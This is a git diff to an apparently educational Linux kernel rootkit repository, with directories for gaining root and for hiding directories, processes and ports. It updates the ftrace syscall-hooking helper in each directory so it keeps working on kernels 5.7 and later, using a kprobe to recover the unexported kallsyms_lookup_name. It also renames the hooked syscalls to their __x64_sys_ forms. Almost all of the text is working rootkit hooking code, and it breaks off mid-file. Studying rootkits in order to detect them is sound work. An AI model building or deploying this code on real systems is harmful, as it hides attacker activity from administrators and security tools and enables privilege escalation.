diff --git a/3_RootkitTechniques/3.3_set_root/ftrace_helper.h b/3_RootkitTechniques/3.3_set_root/ftrace_helper.h index 1624ce4..808453d 100644 --- a/3_RootkitTechniques/3.3_set_root/ftrace_helper.h +++ b/3_RootkitTechniques/3.3_set_root/ftrace_helper.h @@ -8,21 +8,28 @@ #include #include #include +#include #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) #define PTREGS_SYSCALL_STUBS 1 #endif -/* x64 has to be special and require a different naming convention */ -#ifdef PTREGS_SYSCALL_STUBS -#define SYSCALL_NAME(name) ("__x64_" name) -#else -#define SYSCALL_NAME(name) (name) +/* + * On Linux kernels 5.7+, kallsyms_lookup_name() is no longer exported, + * so we have to use kprobes to get the address. + * Full credit to @f0lg0 for the idea. + */ +#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) +#define KPROBE_LOOKUP 1 +#include +static struct kprobe kp = { + .symbol_name = "kallsyms_lookup_name" +}; #endif #define HOOK(_name, _hook, _orig) \ { \ - .name = SYSCALL_NAME(_name), \ + .name = (_name), \ .function = (_hook), \ .original = (_orig), \ } @@ -60,6 +67,13 @@ * */ static int fh_resolve_hook_address(struct ftrace_hook *hook) { +#ifdef KPROBE_LOOKUP + typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); + kallsyms_lookup_name_t kallsyms_lookup_name; + register_kprobe(&kp); + kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; + unregister_kprobe(&kp); +#endif hook->address = kallsyms_lookup_name(hook->name); if (!hook->address) diff --git a/3_RootkitTechniques/3.3_set_root/rootkit.c b/3_RootkitTechniques/3.3_set_root/rootkit.c index fd0b3cc..b4dd13b 100644 --- a/3_RootkitTechniques/3.3_set_root/rootkit.c +++ b/3_RootkitTechniques/3.3_set_root/rootkit.c @@ -90,7 +90,7 @@ /* Declare the struct that ftrace needs to hook the syscall */ static struct ftrace_hook hooks[] = { - HOOK("sys_kill", hook_kill, &orig_kill), + HOOK("__x64_sys_kill", hook_kill, &orig_kill), }; /* Module initialization function */ diff --git a/3_RootkitTechniques/3.4_hiding_directories/ftrace_helper.h b/3_RootkitTechniques/3.4_hiding_directories/ftrace_helper.h index f3a0171..808453d 100644 --- a/3_RootkitTechniques/3.4_hiding_directories/ftrace_helper.h +++ b/3_RootkitTechniques/3.4_hiding_directories/ftrace_helper.h @@ -8,23 +8,30 @@ #include #include #include +#include #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) #define PTREGS_SYSCALL_STUBS 1 #endif -/* x64 has to be special and require a different naming convention */ -#ifdef PTREGS_SYSCALL_STUBS -#define SYSCALL_NAME(name) ("__x64_" name) -#else -#define SYSCALL_NAME(name) (name) +/* + * On Linux kernels 5.7+, kallsyms_lookup_name() is no longer exported, + * so we have to use kprobes to get the address. + * Full credit to @f0lg0 for the idea. + */ +#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) +#define KPROBE_LOOKUP 1 +#include +static struct kprobe kp = { + .symbol_name = "kallsyms_lookup_name" +}; #endif -#define HOOK(_name, _hook, _orig) \ -{ \ - .name = SYSCALL_NAME(_name), \ - .function = (_hook), \ - .original = (_orig), \ +#define HOOK(_name, _hook, _orig) \ +{ \ + .name = (_name), \ + .function = (_hook), \ + .original = (_orig), \ } /* We need to prevent recursive loops when hooking, otherwise the kernel will @@ -46,12 +53,12 @@ * the entire struct off to fh_install_hook() later on. * */ struct ftrace_hook { - const char *name; - void *function; - void *original; + const char *name; + void *function; + void *original; - unsigned long address; - struct ftrace_ops ops; + unsigned long address; + struct ftrace_ops ops; }; /* Ftrace needs to know the address of the original function that we @@ -60,33 +67,40 @@ * */ static int fh_resolve_hook_address(struct ftrace_hook *hook) { - hook->address = kallsyms_lookup_name(hook->name); +#ifdef KPROBE_LOOKUP + typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); + kallsyms_lookup_name_t kallsyms_lookup_name; + register_kprobe(&kp); + kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; + unregister_kprobe(&kp); +#endif + hook->address = kallsyms_lookup_name(hook->name); - if (!hook->address) - { - printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); - return -ENOENT; - } + if (!hook->address) + { + printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); + return -ENOENT; + } #if USE_FENTRY_OFFSET - *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; + *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; #else - *((unsigned long*) hook->original) = hook->address; + *((unsigned long*) hook->original) = hook->address; #endif - return 0; + return 0; } /* See comment below within fh_install_hook() */ static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) { - struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); + struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); #if USE_FENTRY_OFFSET - regs->ip = (unsigned long) hook->function; + regs->ip = (unsigned long) hook->function; #else - if(!within_module(parent_ip, THIS_MODULE)) - regs->ip = (unsigned long) hook->function; + if(!within_module(parent_ip, THIS_MODULE)) + regs->ip = (unsigned long) hook->function; #endif } @@ -98,38 +112,38 @@ * */ int fh_install_hook(struct ftrace_hook *hook) { - int err; - err = fh_resolve_hook_address(hook); - if(err) - return err; + int err; + err = fh_resolve_hook_address(hook); + if(err) + return err; - /* For many of function hooks (especially non-trivial ones), the $rip - * register gets modified, so we have to alert ftrace to this fact. This - * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also - * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because - * the built-in anti-recursion guard provided by ftrace is useless if - * we're modifying $rip. This is why we have to implement our own checks - * (see USE_FENTRY_OFFSET). */ - hook->ops.func = fh_ftrace_thunk; - hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS - | FTRACE_OPS_FL_RECURSION_SAFE - | FTRACE_OPS_FL_IPMODIFY; + /* For many of function hooks (especially non-trivial ones), the $rip + * register gets modified, so we have to alert ftrace to this fact. This + * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also + * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because + * the built-in anti-recursion guard provided by ftrace is useless if + * we're modifying $rip. This is why we have to implement our own checks + * (see USE_FENTRY_OFFSET). */ + hook->ops.func = fh_ftrace_thunk; + hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS + | FTRACE_OPS_FL_RECURSION_SAFE + | FTRACE_OPS_FL_IPMODIFY; - err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); - if(err) - { - printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); - return err; - } + err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + return err; + } - err = register_ftrace_function(&hook->ops); - if(err) - { - printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); - return err; - } + err = register_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); + return err; + } - return 0; + return 0; } /* Disabling our function hook is just a simple matter of calling the built-in @@ -138,18 +152,18 @@ * */ void fh_remove_hook(struct ftrace_hook *hook) { - int err; - err = unregister_ftrace_function(&hook->ops); - if(err) - { - printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); - } + int err; + err = unregister_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); + } - err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); - if(err) - { - printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); - } + err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + } } /* To make it easier to hook multiple functions in one module, this provides @@ -157,29 +171,29 @@ * */ int fh_install_hooks(struct ftrace_hook *hooks, size_t count) { - int err; - size_t i; + int err; + size_t i; - for (i = 0 ; i < count ; i++) - { - err = fh_install_hook(&hooks[i]); - if(err) - goto error; - } - return 0; + for (i = 0 ; i < count ; i++) + { + err = fh_install_hook(&hooks[i]); + if(err) + goto error; + } + return 0; error: - while (i != 0) - { - fh_remove_hook(&hooks[--i]); - } - return err; + while (i != 0) + { + fh_remove_hook(&hooks[--i]); + } + return err; } void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) { - size_t i; + size_t i; - for (i = 0 ; i < count ; i++) - fh_remove_hook(&hooks[i]); + for (i = 0 ; i < count ; i++) + fh_remove_hook(&hooks[i]); } diff --git a/3_RootkitTechniques/3.4_hiding_directories/rootkit.c b/3_RootkitTechniques/3.4_hiding_directories/rootkit.c index a67fdc5..6891129 100644 --- a/3_RootkitTechniques/3.4_hiding_directories/rootkit.c +++ b/3_RootkitTechniques/3.4_hiding_directories/rootkit.c @@ -347,8 +347,8 @@ /* Declare the struct that ftrace needs to hook the syscall */ static struct ftrace_hook hooks[] = { - HOOK("sys_getdents64", hook_getdents64, &orig_getdents64), - HOOK("sys_getdents", hook_getdents, &orig_getdents), + HOOK("__x64_sys_getdents64", hook_getdents64, &orig_getdents64), + HOOK("__x64_sys_getdents", hook_getdents, &orig_getdents), }; /* Module initialization function */ diff --git a/3_RootkitTechniques/3.5_hiding_processes/ftrace_helper.h b/3_RootkitTechniques/3.5_hiding_processes/ftrace_helper.h index f3a0171..808453d 100644 --- a/3_RootkitTechniques/3.5_hiding_processes/ftrace_helper.h +++ b/3_RootkitTechniques/3.5_hiding_processes/ftrace_helper.h @@ -8,23 +8,30 @@ #include #include #include +#include #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) #define PTREGS_SYSCALL_STUBS 1 #endif -/* x64 has to be special and require a different naming convention */ -#ifdef PTREGS_SYSCALL_STUBS -#define SYSCALL_NAME(name) ("__x64_" name) -#else -#define SYSCALL_NAME(name) (name) +/* + * On Linux kernels 5.7+, kallsyms_lookup_name() is no longer exported, + * so we have to use kprobes to get the address. + * Full credit to @f0lg0 for the idea. + */ +#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) +#define KPROBE_LOOKUP 1 +#include +static struct kprobe kp = { + .symbol_name = "kallsyms_lookup_name" +}; #endif -#define HOOK(_name, _hook, _orig) \ -{ \ - .name = SYSCALL_NAME(_name), \ - .function = (_hook), \ - .original = (_orig), \ +#define HOOK(_name, _hook, _orig) \ +{ \ + .name = (_name), \ + .function = (_hook), \ + .original = (_orig), \ } /* We need to prevent recursive loops when hooking, otherwise the kernel will @@ -46,12 +53,12 @@ * the entire struct off to fh_install_hook() later on. * */ struct ftrace_hook { - const char *name; - void *function; - void *original; + const char *name; + void *function; + void *original; - unsigned long address; - struct ftrace_ops ops; + unsigned long address; + struct ftrace_ops ops; }; /* Ftrace needs to know the address of the original function that we @@ -60,33 +67,40 @@ * */ static int fh_resolve_hook_address(struct ftrace_hook *hook) { - hook->address = kallsyms_lookup_name(hook->name); +#ifdef KPROBE_LOOKUP + typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); + kallsyms_lookup_name_t kallsyms_lookup_name; + register_kprobe(&kp); + kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; + unregister_kprobe(&kp); +#endif + hook->address = kallsyms_lookup_name(hook->name); - if (!hook->address) - { - printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); - return -ENOENT; - } + if (!hook->address) + { + printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); + return -ENOENT; + } #if USE_FENTRY_OFFSET - *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; + *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; #else - *((unsigned long*) hook->original) = hook->address; + *((unsigned long*) hook->original) = hook->address; #endif - return 0; + return 0; } /* See comment below within fh_install_hook() */ static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) { - struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); + struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); #if USE_FENTRY_OFFSET - regs->ip = (unsigned long) hook->function; + regs->ip = (unsigned long) hook->function; #else - if(!within_module(parent_ip, THIS_MODULE)) - regs->ip = (unsigned long) hook->function; + if(!within_module(parent_ip, THIS_MODULE)) + regs->ip = (unsigned long) hook->function; #endif } @@ -98,38 +112,38 @@ * */ int fh_install_hook(struct ftrace_hook *hook) { - int err; - err = fh_resolve_hook_address(hook); - if(err) - return err; + int err; + err = fh_resolve_hook_address(hook); + if(err) + return err; - /* For many of function hooks (especially non-trivial ones), the $rip - * register gets modified, so we have to alert ftrace to this fact. This - * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also - * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because - * the built-in anti-recursion guard provided by ftrace is useless if - * we're modifying $rip. This is why we have to implement our own checks - * (see USE_FENTRY_OFFSET). */ - hook->ops.func = fh_ftrace_thunk; - hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS - | FTRACE_OPS_FL_RECURSION_SAFE - | FTRACE_OPS_FL_IPMODIFY; + /* For many of function hooks (especially non-trivial ones), the $rip + * register gets modified, so we have to alert ftrace to this fact. This + * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also + * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because + * the built-in anti-recursion guard provided by ftrace is useless if + * we're modifying $rip. This is why we have to implement our own checks + * (see USE_FENTRY_OFFSET). */ + hook->ops.func = fh_ftrace_thunk; + hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS + | FTRACE_OPS_FL_RECURSION_SAFE + | FTRACE_OPS_FL_IPMODIFY; - err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); - if(err) - { - printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); - return err; - } + err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + return err; + } - err = register_ftrace_function(&hook->ops); - if(err) - { - printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); - return err; - } + err = register_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); + return err; + } - return 0; + return 0; } /* Disabling our function hook is just a simple matter of calling the built-in @@ -138,18 +152,18 @@ * */ void fh_remove_hook(struct ftrace_hook *hook) { - int err; - err = unregister_ftrace_function(&hook->ops); - if(err) - { - printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); - } + int err; + err = unregister_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); + } - err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); - if(err) - { - printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); - } + err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + } } /* To make it easier to hook multiple functions in one module, this provides @@ -157,29 +171,29 @@ * */ int fh_install_hooks(struct ftrace_hook *hooks, size_t count) { - int err; - size_t i; + int err; + size_t i; - for (i = 0 ; i < count ; i++) - { - err = fh_install_hook(&hooks[i]); - if(err) - goto error; - } - return 0; + for (i = 0 ; i < count ; i++) + { + err = fh_install_hook(&hooks[i]); + if(err) + goto error; + } + return 0; error: - while (i != 0) - { - fh_remove_hook(&hooks[--i]); - } - return err; + while (i != 0) + { + fh_remove_hook(&hooks[--i]); + } + return err; } void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) { - size_t i; + size_t i; - for (i = 0 ; i < count ; i++) - fh_remove_hook(&hooks[i]); + for (i = 0 ; i < count ; i++) + fh_remove_hook(&hooks[i]); } diff --git a/3_RootkitTechniques/3.5_hiding_processes/rootkit.c b/3_RootkitTechniques/3.5_hiding_processes/rootkit.c index f96066b..e6bd959 100644 --- a/3_RootkitTechniques/3.5_hiding_processes/rootkit.c +++ b/3_RootkitTechniques/3.5_hiding_processes/rootkit.c @@ -382,9 +382,9 @@ /* Declare the struct that ftrace needs to hook the syscall */ static struct ftrace_hook hooks[] = { - HOOK("sys_getdents64", hook_getdents64, &orig_getdents64), - HOOK("sys_getdents", hook_getdents, &orig_getdents), - HOOK("sys_kill", hook_kill, &orig_kill), + HOOK("__x64_sys_getdents64", hook_getdents64, &orig_getdents64), + HOOK("__x64_sys_getdents", hook_getdents, &orig_getdents), + HOOK("__x64_sys_kill", hook_kill, &orig_kill), }; /* Module initialization function */ diff --git a/3_RootkitTechniques/3.6_hiding_ports/ftrace_helper.h b/3_RootkitTechniques/3.6_hiding_ports/ftrace_helper.h index 5b5a392..808453d 100644 --- a/3_RootkitTechniques/3.6_hiding_ports/ftrace_helper.h +++ b/3_RootkitTechniques/3.6_hiding_ports/ftrace_helper.h @@ -8,12 +8,30 @@ #include #include #include +#include -#define HOOK(_name, _hook, _orig) \ -{ \ - .name = (_name), \ - .function = (_hook), \ - .original = (_orig), \ +#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) +#define PTREGS_SYSCALL_STUBS 1 +#endif + +/* + * On Linux kernels 5.7+, kallsyms_lookup_name() is no longer exported, + * so we have to use kprobes to get the address. + * Full credit to @f0lg0 for the idea. + */ +#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) +#define KPROBE_LOOKUP 1 +#include +static struct kprobe kp = { + .symbol_name = "kallsyms_lookup_name" +}; +#endif + +#define HOOK(_name, _hook, _orig) \ +{ \ + .name = (_name), \ + .function = (_hook), \ + .original = (_orig), \ } /* We need to prevent recursive loops when hooking, otherwise the kernel will @@ -26,18 +44,21 @@ * protection and implement our own). * */ #define USE_FENTRY_OFFSET 0 +#if !USE_FENTRY_OFFSET +#pragma GCC optimize("-fno-optimize-sibling-calls") +#endif /* We pack all the information we need (name, hooking function, original function) * into this struct. This makes is easier for setting up the hook and just passing * the entire struct off to fh_install_hook() later on. * */ struct ftrace_hook { - const char *name; - void *function; - void *original; + const char *name; + void *function; + void *original; - unsigned long address; - struct ftrace_ops ops; + unsigned long address; + struct ftrace_ops ops; }; /* Ftrace needs to know the address of the original function that we @@ -46,33 +67,40 @@ * */ static int fh_resolve_hook_address(struct ftrace_hook *hook) { - hook->address = kallsyms_lookup_name(hook->name); +#ifdef KPROBE_LOOKUP + typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); + kallsyms_lookup_name_t kallsyms_lookup_name; + register_kprobe(&kp); + kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; + unregister_kprobe(&kp); +#endif + hook->address = kallsyms_lookup_name(hook->name); - if (!hook->address) - { - printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); - return -ENOENT; - } + if (!hook->address) + { + printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); + return -ENOENT; + } #if USE_FENTRY_OFFSET - *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; + *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; #else - *((unsigned long*) hook->original) = hook->address; + *((unsigned long*) hook->original) = hook->address; #endif - return 0; + return 0; } /* See comment below within fh_install_hook() */ static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) { - struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); + struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); #if USE_FENTRY_OFFSET - regs->ip = (unsigned long) hook->function; + regs->ip = (unsigned long) hook->function; #else - if(!within_module(parent_ip, THIS_MODULE)) - regs->ip = (unsigned long) hook->function; + if(!within_module(parent_ip, THIS_MODULE)) + regs->ip = (unsigned long) hook->function; #endif } @@ -84,38 +112,38 @@ * */ int fh_install_hook(struct ftrace_hook *hook) { - int err; - err = fh_resolve_hook_address(hook); - if(err) - return err; + int err; + err = fh_resolve_hook_address(hook); + if(err) + return err; - /* For many of function hooks (especially non-trivial ones), the $rip - * register gets modified, so we have to alert ftrace to this fact. This - * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also - * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because - * the built-in anti-recursion guard provided by ftrace is useless if - * we're modifying $rip. This is why we have to implement our own checks - * (see USE_FENTRY_OFFSET). */ - hook->ops.func = fh_ftrace_thunk; - hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS - | FTRACE_OPS_FL_RECURSION_SAFE - | FTRACE_OPS_FL_IPMODIFY; + /* For many of function hooks (especially non-trivial ones), the $rip + * register gets modified, so we have to alert ftrace to this fact. This + * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also + * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because + * the built-in anti-recursion guard provided by ftrace is useless if + * we're modifying $rip. This is why we have to implement our own checks + * (see USE_FENTRY_OFFSET). */ + hook->ops.func = fh_ftrace_thunk; + hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS + | FTRACE_OPS_FL_RECURSION_SAFE + | FTRACE_OPS_FL_IPMODIFY; - err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); - if(err) - { - printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); - return err; - } + err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + return err; + } - err = register_ftrace_function(&hook->ops); - if(err) - { - printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); - return err; - } + err = register_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); + return err; + } - return 0; + return 0; } /* Disabling our function hook is just a simple matter of calling the built-in @@ -124,18 +152,18 @@ * */ void fh_remove_hook(struct ftrace_hook *hook) { - int err; - err = unregister_ftrace_function(&hook->ops); - if(err) - { - printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); - } + int err; + err = unregister_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); + } - err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); - if(err) - { - printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); - } + err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + } } /* To make it easier to hook multiple functions in one module, this provides @@ -143,29 +171,29 @@ * */ int fh_install_hooks(struct ftrace_hook *hooks, size_t count) { - int err; - size_t i; + int err; + size_t i; - for (i = 0 ; i < count ; i++) - { - err = fh_install_hook(&hooks[i]); - if(err) - goto error; - } - return 0; + for (i = 0 ; i < count ; i++) + { + err = fh_install_hook(&hooks[i]); + if(err) + goto error; + } + return 0; error: - while (i != 0) - { - fh_remove_hook(&hooks[--i]); - } - return err; + while (i != 0) + { + fh_remove_hook(&hooks[--i]); + } + return err; } void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) { - size_t i; + size_t i; - for (i = 0 ; i < count ; i++) - fh_remove_hook(&hooks[i]); + for (i = 0 ; i < count ; i++) + fh_remove_hook(&hooks[i]); } diff --git a/3_RootkitTechniques/3.7_char_interfering/ftrace_helper.h b/3_RootkitTechniques/3.7_char_interfering/ftrace_helper.h index 5b5a392..808453d 100644 --- a/3_RootkitTechniques/3.7_char_interfering/ftrace_helper.h +++ b/3_RootkitTechniques/3.7_char_interfering/ftrace_helper.h @@ -8,12 +8,30 @@ #include #include #include +#include -#define HOOK(_name, _hook, _orig) \ -{ \ - .name = (_name), \ - .function = (_hook), \ - .original = (_orig), \ +#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) +#define PTREGS_SYSCALL_STUBS 1 +#endif + +/* + * On Linux kernels 5.7+, kallsyms_lookup_name() is no longer exported, + * so we have to use kprobes to get the address. + * Full credit to @f0lg0 for the idea. + */ +#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) +#define KPROBE_LOOKUP 1 +#include +static struct kprobe kp = { + .symbol_name = "kallsyms_lookup_name" +}; +#endif + +#define HOOK(_name, _hook, _orig) \ +{ \ + .name = (_name), \ + .function = (_hook), \ + .original = (_orig), \ } /* We need to prevent recursive loops when hooking, otherwise the kernel will @@ -26,18 +44,21 @@ * protection and implement our own). * */ #define USE_FENTRY_OFFSET 0 +#if !USE_FENTRY_OFFSET +#pragma GCC optimize("-fno-optimize-sibling-calls") +#endif /* We pack all the information we need (name, hooking function, original function) * into this struct. This makes is easier for setting up the hook and just passing * the entire struct off to fh_install_hook() later on. * */ struct ftrace_hook { - const char *name; - void *function; - void *original; + const char *name; + void *function; + void *original; - unsigned long address; - struct ftrace_ops ops; + unsigned long address; + struct ftrace_ops ops; }; /* Ftrace needs to know the address of the original function that we @@ -46,33 +67,40 @@ * */ static int fh_resolve_hook_address(struct ftrace_hook *hook) { - hook->address = kallsyms_lookup_name(hook->name); +#ifdef KPROBE_LOOKUP + typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); + kallsyms_lookup_name_t kallsyms_lookup_name; + register_kprobe(&kp); + kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; + unregister_kprobe(&kp); +#endif + hook->address = kallsyms_lookup_name(hook->name); - if (!hook->address) - { - printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); - return -ENOENT; - } + if (!hook->address) + { + printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); + return -ENOENT; + } #if USE_FENTRY_OFFSET - *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; + *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; #else - *((unsigned long*) hook->original) = hook->address; + *((unsigned long*) hook->original) = hook->address; #endif - return 0; + return 0; } /* See comment below within fh_install_hook() */ static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) { - struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); + struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); #if USE_FENTRY_OFFSET - regs->ip = (unsigned long) hook->function; + regs->ip = (unsigned long) hook->function; #else - if(!within_module(parent_ip, THIS_MODULE)) - regs->ip = (unsigned long) hook->function; + if(!within_module(parent_ip, THIS_MODULE)) + regs->ip = (unsigned long) hook->function; #endif } @@ -84,38 +112,38 @@ * */ int fh_install_hook(struct ftrace_hook *hook) { - int err; - err = fh_resolve_hook_address(hook); - if(err) - return err; + int err; + err = fh_resolve_hook_address(hook); + if(err) + return err; - /* For many of function hooks (especially non-trivial ones), the $rip - * register gets modified, so we have to alert ftrace to this fact. This - * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also - * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because - * the built-in anti-recursion guard provided by ftrace is useless if - * we're modifying $rip. This is why we have to implement our own checks - * (see USE_FENTRY_OFFSET). */ - hook->ops.func = fh_ftrace_thunk; - hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS - | FTRACE_OPS_FL_RECURSION_SAFE - | FTRACE_OPS_FL_IPMODIFY; + /* For many of function hooks (especially non-trivial ones), the $rip + * register gets modified, so we have to alert ftrace to this fact. This + * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also + * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because + * the built-in anti-recursion guard provided by ftrace is useless if + * we're modifying $rip. This is why we have to implement our own checks + * (see USE_FENTRY_OFFSET). */ + hook->ops.func = fh_ftrace_thunk; + hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS + | FTRACE_OPS_FL_RECURSION_SAFE + | FTRACE_OPS_FL_IPMODIFY; - err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); - if(err) - { - printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); - return err; - } + err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + return err; + } - err = register_ftrace_function(&hook->ops); - if(err) - { - printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); - return err; - } + err = register_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); + return err; + } - return 0; + return 0; } /* Disabling our function hook is just a simple matter of calling the built-in @@ -124,18 +152,18 @@ * */ void fh_remove_hook(struct ftrace_hook *hook) { - int err; - err = unregister_ftrace_function(&hook->ops); - if(err) - { - printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); - } + int err; + err = unregister_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); + } - err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); - if(err) - { - printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); - } + err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + } } /* To make it easier to hook multiple functions in one module, this provides @@ -143,29 +171,29 @@ * */ int 